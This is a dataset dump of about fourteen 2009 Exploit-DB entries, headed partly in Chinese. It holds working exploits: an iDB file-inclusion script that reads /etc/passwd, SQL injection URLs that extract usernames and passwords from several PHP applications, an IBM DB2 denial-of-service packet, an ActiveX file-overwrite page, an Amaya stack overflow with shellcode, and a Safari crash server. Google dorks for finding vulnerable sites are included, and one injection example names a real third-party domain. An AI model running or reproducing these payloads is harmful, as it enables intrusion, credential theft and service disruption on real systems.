QLWD/code_shield huggingface dataset:
标题: iDB 0.2.5pa SVN 243 - 'skin' Local File Inclusion EDB-ID: 8357 CVE: 2009-1498 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-06 漏洞利用脚本: #!/usr/bin/env
# LOTFREE 2009 - lotfree.next-touch.com
# Local require() vulnerability in iDB (a PHP/MySQL BBS)
# Test on version 0.2.5 Pre-Alpha SVN 243 (released March 30, 2009)
#
# No checks are made on var "skin" in inc/profilemain.php before saving it to database
# this value is then require()d in mysql.php as $_GET['theme'] (global var is overwritten) :
#=> require($SettDir['themes'].$_GET['theme']."/settings.php");
# so if we set "skin" to (for example) "../../../../../etc/passwd\0" we can get the passwd
# file content :)
# skin is saved to mysql as "UseTheme" in table idb_members
# !! the type is "varchar(26)" so we are limited in injection :( !!
#
# Website of iDB : http://idb.berlios.de/ - http://sourceforge.net/projects/freshmeat_idb/
import urllib, urllib2, sys

print "\tLOTFREE - iDB local PHP file inclusion vulnerability exploit\n"
if len(sys.argv)!=5:
  print "Usage: python LOTF-iDB.py <forum_root> <local_path_for_inclusion> <login> <password>"
  print "e.g: python LOTF-iDB.py http://localhost/iDB/ ../../../../etc/passwd johndoe s3cr3t"
  print "use python LOTF-iDB.py <forum_root> iDB <login> <password> to restore the default skin"
  sys.exit()

forum_root = sys.argv[1]
if forum_root[-1]!="/":
  forum_root += "/"
username = sys.argv[3]
password = sys.argv[4]
skin = ""
if sys.argv[2]=="iDB":
  skin = "iDB"
else:
  skin = sys.argv[2]+"\0"
if len(skin)>26:
  print "Path for inclusion must be lower than 27 chars in length due to SQL structure :("
  sys.exit()

print "Logging on the server..."
qs = {"username":username, "userpass": password, "storecookie": "true", "act": "loginmember"}
req = urllib2.Request(forum_root+"member.php?act=login_now",urllib.urlencode(qs))
data = urllib2.urlopen(req)
cookies = data.headers.getheaders("set-cookie")
cook = []
for c in cookies:
  for t in c.split(";"):
    if t.find("=")>0:
      k = t.split("=")[0]
      v = t.split("=",1)[1]
      if k in ["idb_sess", "MemberName", "UserID", "SessPass"]:
        cook.append(k+"="+v)
cook_str = "; ".join(cook)
print "Cookie string:",cook_str
print


qs = {"YourOffSet" : "0",
    "MinOffSet" : "00",
    "skin" : skin,
    "RepliesPerPage" : "10",
    "TopicsPerPage" : "10",
    "MessagesPerPage" : "10",
    "DST" : "off",
    "act" : "settings",
    "update" : "now"}
c_headers = {"Cookie": cook_str, "Referer": forum_root+"profile.php?act=settings"}
print "Sending payload..."
req = urllib2.Request(forum_root+"profile.php?act=settings",urllib.urlencode(qs),c_headers)
urllib2.urlopen(req)

req = urllib2.Request(forum_root+"index.php?act=view",headers=c_headers)
data = urllib2.urlopen(req).read()
# if /etc/passwd was included
if data.find("root:x:0:0:")>=0:
  print data.split("<")[0]
elif skin=="iDB":
  print "Default skin restored!"
elif data.find("require")>=0:
  print "Oups... file not found or access forbidden :(\n"
  print data[:200]
else:
  print "Output:"
  print data

# milw0rm.com [2009-04-06] URL: https://www.exploit-db.com/exploits/8357
标题: Joomla! Component com_bookJoomlas 0.1 - SQL Injection EDB-ID: 8353 CVE: 2009-1263 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-06 漏洞利用脚本: *******   Salvatore "drosophila" Fresta   *******

[+] Application: Joomla Component com_bookjoomlas
[+] Version: 0.1
[+] Website: http://www.alikonweb.it

[+] Bugs: [A] SQL Injection

[+] Exploitation: Remote
[+] Dork: inurl:"index.php?option=com_bookjoomlas"
[+] Date: 06 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] SQL Injection

[-] Security risk: low
[-] File affected: sub_commententry.php

This bug allows a privileged user to view username
and password of a registered user. Like all SELECT
vulnerable queries, this can be manipulate to write
files on system.


*************************************************

[+] Code


- [A] SQL Injection

http://www.site.com/path/index.php?option=com_bookjoomlas&Itemid=26&func=comment&gbid=-1 UNION ALL SELECT 1,2,NULL,4,NULL,6,7,NULL,9,CONCAT(username,0x3a,password),11,12,13,14,15,16 FROM jos_users


*************************************************

[+] Fix

No fix.


*************************************************

# milw0rm.com [2009-04-06] URL: https://www.exploit-db.com/exploits/8353
标题: Koschtit Image Gallery 1.82 - Multiple Local File Inclusions EDB-ID: 8334 CVE: 2009-1510 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-01 漏洞利用脚本: :local file include:
   
#############################
script: koschtit_image_gallery(v1.82)
   
##############################################################
download from:http://koschtit..tabere.net/download/
or http://koschtit.tabere.net/en/#getit 
   
##############################################################
vul:/ki_base/ki_makepic.php


if(isset($_GET['file'])) 
 $file = "../ki_galleries/".$_GET['file'];
else
 exit();

$gallery = substr($_GET['file'], 0, strpos($_GET['file'], "/"));
if(is_file("../ki_config/".$gallery."_ki_setup.php"))
 include_once("../ki_config/".$gallery."_ki_setup.php");

$imgsize = getimagesize($file); 

#############
vul:/ki_base/ki_nojsdisplayimage.php

$gallery = substr($_GET['file'], 0, strpos($_GET['file'], "/"));

include_once("../ki_config/ki_setup.php");
if(is_file(".../ki_config/".$gallery."_ki_setup.php")){
 include_once("../ki_config/".$gallery."_ki_setup.php");
}
.
.
$srcfile = "../ki_galleries/".$file;
$imgsize = getimagesize("../ki_galleries/".$file);

##############################################################
xpl:
path/ki_base/ki_makepic.php?file=[local_file]
path/ki_base/ki_nojsdisplayimage.php?file=[local_file]  
------------------------------------------------------------

# milw0rm.com [2009-04-01] URL: https://www.exploit-db.com/exploits/8334
标题: IBM DB2 < 9.5 pack 3a - Connect Denial of Service EDB-ID: 8344 CVE: 2009-0172 类型: DOS 平台: MULTIPLE 发布日期: 2009-04-03 漏洞利用脚本: # Discovered by Dennis Yurichev <dennis@conus.info>

# DB2TEST database should be present on target system

from sys import *
from socket import *

sockobj = socket(AF_INET, SOCK_STREAM)

sockobj.connect ((argv[1], 50000))

sockobj.send(
"\x00\xBE\xD0\x41\x00\x01\x00\xB8\x10\x41\x00\x7F\x11\x5E\x97\xA8"
"\xA3\x88\x96\x95\x4B\x85\xA7\x85\x40\x40\x40\x40\x40\x40\x40\x40"
"\x40\x40\xF0\xF1\xC3\xF4\xF0\xF1\xF1\xF8\xF0\xF0\xF0\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\xF0\xF0"
"\xF0\xF1\xD5\xC1\xD4\xC5\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40"
"\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40"
"\xC4\xC2\xF2\xE3\xC5\xE2\xE3\x40\xF0\xC4\xC2\xF2\x40\x40\x40\x40"
"\x40\x40\x40\x40\x40\x40\x40\x40\x40\x00\x18\x14\x04\x14\x03\x00"
"\x07\x24\x07\x00\x09\x14\x74\x00\x05\x24\x0F\x00\x08\x14\x40\x00"
"\x08\x00\x0B\x11\x47\xD8\xC4\xC2\xF2\x61\xD5\xE3\x00\x06\x11\x6D"
"\xE7\xD7\x00\x0C\x11\x5A\xE2\xD8\xD3\xF0\xF9\xF0\xF5\xF0\x00\x4A"
"\xD0\x01\x00\x02\x00\x44\x10\x6E\x00\x06\x11\xA2\x00\x09\x00\x16"
"\x21\x10\xC4\xC2\xF2\xE3\xC5\xE2\xE3\x40\x40\x40\x40\x40\x40\x40"
"\x40\x40\x40\x40\x00\x24\x11\xDC\x6F\xC1\x3B\xD4\x3C\x33\xF8\x0C"
"\xC9\x96\x6E\x6C\xCD\xB9\x0A\x2C\x9C\xEC\x49\x2A\x1A\x4D\xCE\x62"
"\x47\x9D\x37\x88\xA8\x77\x23\x43")

sockobj.close()

# milw0rm.com [2009-04-03] URL: https://www.exploit-db.com/exploits/8344
标题: vsp stats processor 0.45 - 'gamestat.php?gameID' SQL Injection EDB-ID: 8331 CVE: 2009-1224 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-31 漏洞利用脚本: ########################################
#                                         #
# Product : vsp stats processor           #
# Version : all                           #
# Dork : "powered by vsp stats processor" #
# Site: http://www.scivox.net/vsp/        #
# Found by: Dimi4                         #
# Date : 31.03.09                         #
# Greetz: antichat                        #
#                                         #
########################################

SQL-injection
[+] URL: http://target.com/vsp-core/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x203a20,user(),database(),version()),2/*&config=cfg-default.php
[+] Output: <option> {DATA} </option>

Bug Function: (vsp-core\pub\themes\bismarck\gamestat.php 540-558 lines)

 function getStatsGame()
{
  global $db;
  global $ggame;
  $sql = "select name, value
            from {$GLOBALS['cfg']['db']['table_prefix']}gamedata
            where gameID=$GLOBALS[gameID]
         ";

  //echo $sql;
  $rs = $db->Execute($sql);

.....
}


(c) Dimi4, 2009 greetz to antichat

# milw0rm.com [2009-03-31] URL: https://www.exploit-db.com/exploits/8331
标题: PrecisionID Datamatrix - ActiveX Arbitrary File Overwrite EDB-ID: 8332 CVE: 2009-1212 类型: REMOTE 平台: WINDOWS 发布日期: 2009-03-31 漏洞利用脚本: Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-030
!!!             original advisory            !!!
http://dsecrg.com/pages/vul/DSECRG-09-030.html


Application:                    PrecisionID activeX controls 
Versions Affected:              
Vendor URL:                     http://PrecisionID.com
Bugs:                           Arbitrary File overwriting
Exploits:                       YES
Reported:                       03.03.2009
Vendor response:                NONE
Secondly Reported:              17.03.2009
Vendor response:                NONE 
Date of Public Advisory:        31.0300.2009
Authors:                        
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

PrecisionID  have activeX control DMATRIXLib.Datamatrix that can be used to overwrite any any file in target system.



Details
*******


This control contains two methods SaveBarCode() SaveEnhWMF() that can be used to owervrite 
any file on OS


Sub SaveBarCode (
        ByVal path  As String 
)


Sub SaveEnhWMF (
        ByVal path  As String 
)






*******
Example:



<html>
<object classid='clsid:6C951D10-B07F-11DB-A6ED-0050C2490048' id='target' />
<script language='vbscript'>
targetFile = "C:\WINDOWS\system32\PRECIS~2.DLL"
prototype  = "Sub SaveBarCode ( ByVal path As String )"
memberName = "SaveBarCode"
progid     = "DMATRIXLib.Datamatrix"
argCount   = 1

arg1="C:\sh2kerr.pwn"

target.SaveBarCode arg1 

</script>
</html>



Solution
********
http://msdn.microsoft.com/en-us/library/aa751977.aspx


About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsecrg [dot]  com
            http://www.dsecrg.com
            http://www.dsec.ru

# milw0rm.com [2009-03-31] URL: https://www.exploit-db.com/exploits/8332
标题: MyioSoft Ajax Portal 3.0 - 'page' SQL Injection EDB-ID: 8341 CVE: 2009-1509 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-01 漏洞利用脚本: AjaxPortal 3.0 (ajaxp_backend.php page) Remote SQL Injection Vulnerability
Bug found && Exploited by cOndemned
Greetz: ZaBeaTy, d2, Beowulf, str0ke, Alfons Luja, 0in and others

Proof of Concept : http://[host]/[ajaxportal-3.0_path]/ajaxp_backend.php?page=-1+union+select+1,concat_ws(char(58),username,password),3,4,5,6,7+from+PREFIX_users--

Example : http://calmpc.net/ajaxp_backend.php?page=-1+union+select+1,concat_ws(char(58),username,password),3,4,5,6,7+from+dbPfixajaxp_users--


Passwords are encoded using MySQL PASSWORD() function. (used algorithm depends on MySQL version.)


// http://www.youtube.com/watch?v=dX_PLimGeHk&flip=1 :P

# milw0rm.com [2009-04-01] URL: https://www.exploit-db.com/exploits/8341
标题: PHPRecipeBook 2.39 - 'course_id' SQL Injection EDB-ID: 8330 CVE: 2009-4883 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-31 漏洞利用脚本: //////////////////////////////////////////////////////////////////////
////////////////////////////1923TURK - GRUP///////////////////////////
//////////////////////////////////////////////////////////////////////
**********************************************************************
[!] Script : PHPRecipeBook
[!] Verison : 2.39
[!] Download : http://sourceforge.net/projects/phprecipebook/

[-] Bugs : Remote SQL injection Exploit 
[-] Dork : inurl:"/index.php?m=" "PHPRecipeBook 2.39"
[-] Date : 31-03-09(19:33)
[+] Author : DarKdewiL
[+] GroupWeb : www.1923turk.biz
[-] Contact : darkdewil@1923turk.biz

[!] Note : Always use the time you have to finish your work.
  Never leave it to the last minute.
  Once time goes away, it never comes back

**********************************************************************
//////////////////////////////////////////////////////////////////////
**********************************************************************
[-- Bugs --]

(+)

/index.php?m=recipes&a=search&search=yes&course_id=[SQLEXP]

[-- SQL EXPLOIT --]

Username exploit : -7+union+select+1,user_login,3,4,5,6,7+from+security_users--
Password exploit : -7+union+select+1,user_password,3,4,5,6,7+from+security_users--

# milw0rm.com [2009-03-31] URL: https://www.exploit-db.com/exploits/8330
标题: Community CMS 0.5 - Multiple SQL Injections EDB-ID: 8323 CVE: 2009-4794 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-31 漏洞利用脚本: *******   Salvatore "drosophila" Fresta   *******

[+] Application: Community CMS
[+] Version: 0.5
[+] Website: http://sourceforge.net/projects/communitycms/

[+] Bugs: [A] Multiple SQL Injection

[+] Exploitation: Remote
[+] Dork: intext:"Powered by Community CMS"
[+] Date: 30 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] SQL Injection

[-] File affected: view.php, calendar.php

This bug allows a guest to view username and password of a registered user.


*************************************************

[+] Code


- [A] Multiple SQL Injection

http://www.site.com/path/view.php?article_id=-1 UNION ALL SELECT 1,2,username,password,5,6,7,8,9 FROM comcms_users

http://www.site.com/path/index.php?id=2&view=event&a=-1 UNION ALL SELECT 1,2,3,4,5,6,7,CONCAT(username, 0x3a, password),NULL,NULL,NULL,12,13,NULL FROM comcms_users%23


*************************************************

[+] Fix

No fix.


*************************************************

# milw0rm.com [2009-03-31] URL: https://www.exploit-db.com/exploits/8323
标题: webEdition 6.0.0.4 - 'WE_LANGUAGE' Local File Inclusion EDB-ID: 8328 CVE: 2009-1222 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-31 漏洞利用脚本: *******   Salvatore "drosophila" Fresta   *******

[+] Application: webEdition
[+] Version: <= 6.0.0.4
[+] Website: http://www.webedition.de

[+] Bugs: [A] Local File Inclusion

[+] Exploitation: Remote
[+] Date: 31 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Local File Inclusion

[-] Requisites: register_globals = on

This bug allows a guest to include local files.
This tecnique can be used to exec remote commands
on the vulnerable system using Apache logs.

...

include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_language/".$GLOBALS["WE_LANGUAGE"]."/start.inc.php");

...


*************************************************

[+] Code


- [A] Local File Inclusion

http://www.site.com/path/index.php?WE_LANGUAGE=../../../../../../../../etc/passwd%00

# milw0rm.com [2009-03-31] URL: https://www.exploit-db.com/exploits/8328
标题: Amaya 11.1 - W3C Editor/Browser 'defer' Remote Stack Overflow EDB-ID: 8321 CVE: 2009-1209 类型: REMOTE 平台: WINDOWS 发布日期: 2009-03-30 漏洞利用脚本: # exploit.py
#
# Amaya 11.1 W3C Editor/Browser (defer) Stack Overflow Exploit
# By: Encrypt3d.M!nd
#
# Origninal Advisory:
# http://www.milw0rm.com/exploits/8314
#
# Fully Based on Rob Carter's Exploit
# http://www.milw0rm.com/exploits/7988
#
# Note:you need to upload Devil_inside.html to a remote host
# Works with windows xp sp2
#


# metasploit - run calc.exe

shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x48\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x63"
"\x58\x30\x41\x30\x50\x41\x6b\x41\x41\x73\x32\x41\x42\x41\x32\x42"
"\x42\x30\x42\x42\x58\x42\x50\x38\x41\x42\x75\x4d\x39\x59\x6c\x4d"
"\x38\x42\x64\x33\x30\x37\x70\x47\x70\x4e\x6b\x52\x65\x65\x6c\x6e"
"\x6b\x41\x6c\x74\x45\x70\x78\x65\x51\x6a\x4f\x6c\x4b\x50\x4f\x74"
"\x58\x4c\x4b\x53\x6f\x55\x70\x46\x61\x4a\x4b\x72\x69\x6e\x6b\x35"
"\x64\x4c\x4b\x35\x51\x48\x6e\x66\x51\x4b\x70\x4a\x39\x6e\x4c\x4e"
"\x64\x4b\x70\x43\x44\x66\x67\x4b\x71\x4b\x7a\x44\x4d\x55\x51\x58"
"\x42\x58\x6b\x6c\x34\x77\x4b\x30\x54\x35\x74\x37\x74\x54\x35\x68"
"\x65\x4e\x6b\x31\x4f\x54\x64\x47\x71\x6a\x4b\x55\x36\x4e\x6b\x76"
"\x6c\x30\x4b\x4e\x6b\x51\x4f\x55\x4c\x35\x51\x7a\x4b\x4e\x6b\x45"
"\x4c\x4c\x4b\x46\x61\x48\x6b\x4f\x79\x53\x6c\x36\x44\x54\x44\x79"
"\x53\x30\x31\x6f\x30\x50\x64\x4c\x4b\x33\x70\x46\x50\x4f\x75\x6f"
"\x30\x70\x78\x34\x4c\x4e\x6b\x57\x30\x66\x6c\x4e\x6b\x50\x70\x35"
"\x4c\x4e\x4d\x6e\x6b\x52\x48\x53\x38\x4a\x4b\x53\x39\x4c\x4b\x4f"
"\x70\x6e\x50\x35\x50\x55\x50\x53\x30\x6e\x6b\x53\x58\x57\x4c\x53"
"\x6f\x74\x71\x7a\x56\x51\x70\x70\x56\x6f\x79\x39\x68\x4c\x43\x69"
"\x50\x43\x4b\x30\x50\x71\x78\x78\x70\x4f\x7a\x37\x74\x73\x6f\x75"
"\x38\x6c\x58\x6b\x4e\x4f\x7a\x56\x6e\x73\x67\x79\x6f\x4b\x57\x35"
"\x33\x35\x31\x32\x4c\x45\x33\x47\x70\x63")


chars = "\x41" * 6887
chars+= "\x74\x06\x41\x41"         # jmp short 06
chars+= "\x17\x19\x10\x02"         # 0x02101917 - pop pop ret in amaya module
chars+= "\x68\x7f\x01\x01\x7f"  # push 7f01017f
chars+= "\x58"    # pop eax
chars+= "\x2d\x18\x69\x45\x7d"  # sub eax,7a7a0857
chars+= "\x50"    # push eax
chars+= "\xc3"    # retn
chars+= "\x90" * 100
chars+=shellcode

header= ('<script defer="'+chars+'">')

file=open('Devil_inside.html','w')
file.write(header)
file.close()

# milw0rm.com [2009-03-30] URL: https://www.exploit-db.com/exploits/8321
标题: Trend Micro Internet Security Pro 2009 - Priviliege Escalation EDB-ID: 8322 CVE: 2009-0686 类型: LOCAL 平台: WINDOWS 发布日期: 2009-03-30 漏洞利用脚本: Trend Micro Internet Security Pro 2009 tmactmon.sys Priviliege Escalation PoC.
by b1@ckeYe

The vulnerability is caused due to the IOCTL handler of the "tmactmon.sys" 
driver improperly processing user space parameters. This exploit execute 
arbitrary code in kernel space via a specially crafted IOCTL.

untested: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8322.zip 2009-trendmicro_local_expl_0day.zip)

# milw0rm.com [2009-03-30] URL: https://www.exploit-db.com/exploits/8322
标题: JobHut 1.2 - 'pk' SQL Injection EDB-ID: 8318 CVE: 2009-4797 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-30 漏洞利用脚本: ____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \  
 |    __)_ /    \  \//    ~    \/   |   \ 
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/ 

                                        .OR.ID
ECHO_ADV_108$2009

-----------------------------------------------------------------------------------------
[ECHO_ADV_108$2009] JobHut <= 1.2 (pk) Remote Sql Injection Vulnerability
-----------------------------------------------------------------------------------------

Author       : K-159
Date         : March, 30 th 2009
Location     : Jakarta, Indonesia
Web          : http://e-rdc.org/v1/news.php?readmore=132
Critical Lvl : Moderate
Impact       : Exposure of sensitive information
Where        : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : JobHut
version     : <= 1.2
Vendor      : http://jobhut.spranger.us/
Description :


JobHut is an open source job board solution.

--------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~

Input passed to the "pk" parameter in browse.php page is not properly verified before being used 
into sql queries.This vulnerability can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Poc/Exploit:
~~~~~~~

http://www.example.com/[path]/browse.php?pk=-1 union select @@version,2--


Dork:
~~~
Google : N/A


Solution:
~~~~~
- Edit the source code to ensure that input is properly verified.

Timeline:
~~~~~~~

- 21 - 03 - 2009 bug found
- 26 - 03 - 2009 vendor contacted
- 26 - 03 - 2009 vendor response
- 30 - 03 - 2009 advisory release
---------------------------------------------------------------------------

Shoutz:
~~~
~ ping - my dearest wife, zizau - my beloved son, i-eyes - my beloved daughter.
~ y3dips,the_day,Negatif,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v,az001,
the_hydra,neng chika, str0ke
~ scanners [at] SCAN-NUSANTARA and SCAN-ASSOCIATES
~ SK,Abond,pokley,cybertank, super_temon,whatsoever,b120t0,inggar,fachri,adi,rahmat,indra
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,cyb3rh3b,cR4SH3R,ogeb,bagan,devsheed
~ dr188le,cow_1seng,poniman_coy,paman_gembul,ketut,rizal,ghostblup,shamus,
kuntua, stev_manado,nofry,k1tk4t,0pt1c
~ newbie_hacker@yahoogroups.com
~ milw0rm.com, macaholic.info, unitiga.com, mac.web.id, indowebster.com
~ #aikmel #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~

K-159 || echo|staff || adv[at]e-rdc[dot]org
Homepage: http://www.e-rdc.org/

-------------------------------- [ EOF ] ---------------------------------- 

# milw0rm.com [2009-03-30] URL: https://www.exploit-db.com/exploits/8318
标题: Apple Safari 3.2.2/4b - nested elements XML Parsing Remote Crash EDB-ID: 8325 CVE: 2009-1233 类型: DOS 平台: WINDOWS 发布日期: 2009-03-31 漏洞利用脚本: #
#   Author : Ahmed Obied (ahmed.obied@gmail.com)
#
#   - Tested using:
#     -> Safari 3.2.2 on Windows
#     -> Safari 4 (BETA) on Windows 
#
#   Usage  : python safari.py [port]
#    

import sys, socket
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

class RequestHandler(BaseHTTPRequestHandler):
        
    def get_exploit(self):
        exploit = '<?xml version="1.0"?>'
        exploit += '<A>' * 30000 + '</A>' * 30000
        return exploit
            
    def log_request(self, *args, **kwargs):
        pass

    def do_GET(self):
        if self.path == '/':
            print
            print '[-] Incoming connection from %s' % self.client_address[0]
            print '[-] Sending header to %s ...' % self.client_address[0]
            self.send_response(200)
            self.send_header('Content-type', 'text/xml')
            self.end_headers()
            print '[-] Header sent to %s' % self.client_address[0]
            print '[-] Sending exploit to %s ...' % self.client_address[0]
            self.wfile.write(self.get_exploit())
            print '[-] Exploit sent to %s' % self.client_address[0]

def main():
    if len(sys.argv) != 2:
        print 'Usage: %s [port]' % sys.argv[0]
        sys.exit(1)
    try:
        port = int(sys.argv[1])
        if port < 1 or port > 65535:
            raise ValueError
        try:
            serv = HTTPServer(('', port), RequestHandler)
            ip = socket.gethostbyname(socket.gethostname())
            print '[-] Web server is running at http://%s:%d/' % (ip, port)
            try:
                serv.serve_forever()
            except KeyboardInterrupt:
                print '[-] Exiting ...' 
        except socket.error:
            print '[*] ERROR: a socket error has occurred ...'
        sys.exit(-1)    
    except ValueError:
        print '[*] ERROR: invalid port number ...'
        sys.exit(-1)
            
if __name__ == '__main__':
    main()

# milw0rm.com [2009-03-31] URL: https://www.exploit-db.com/exploits/8325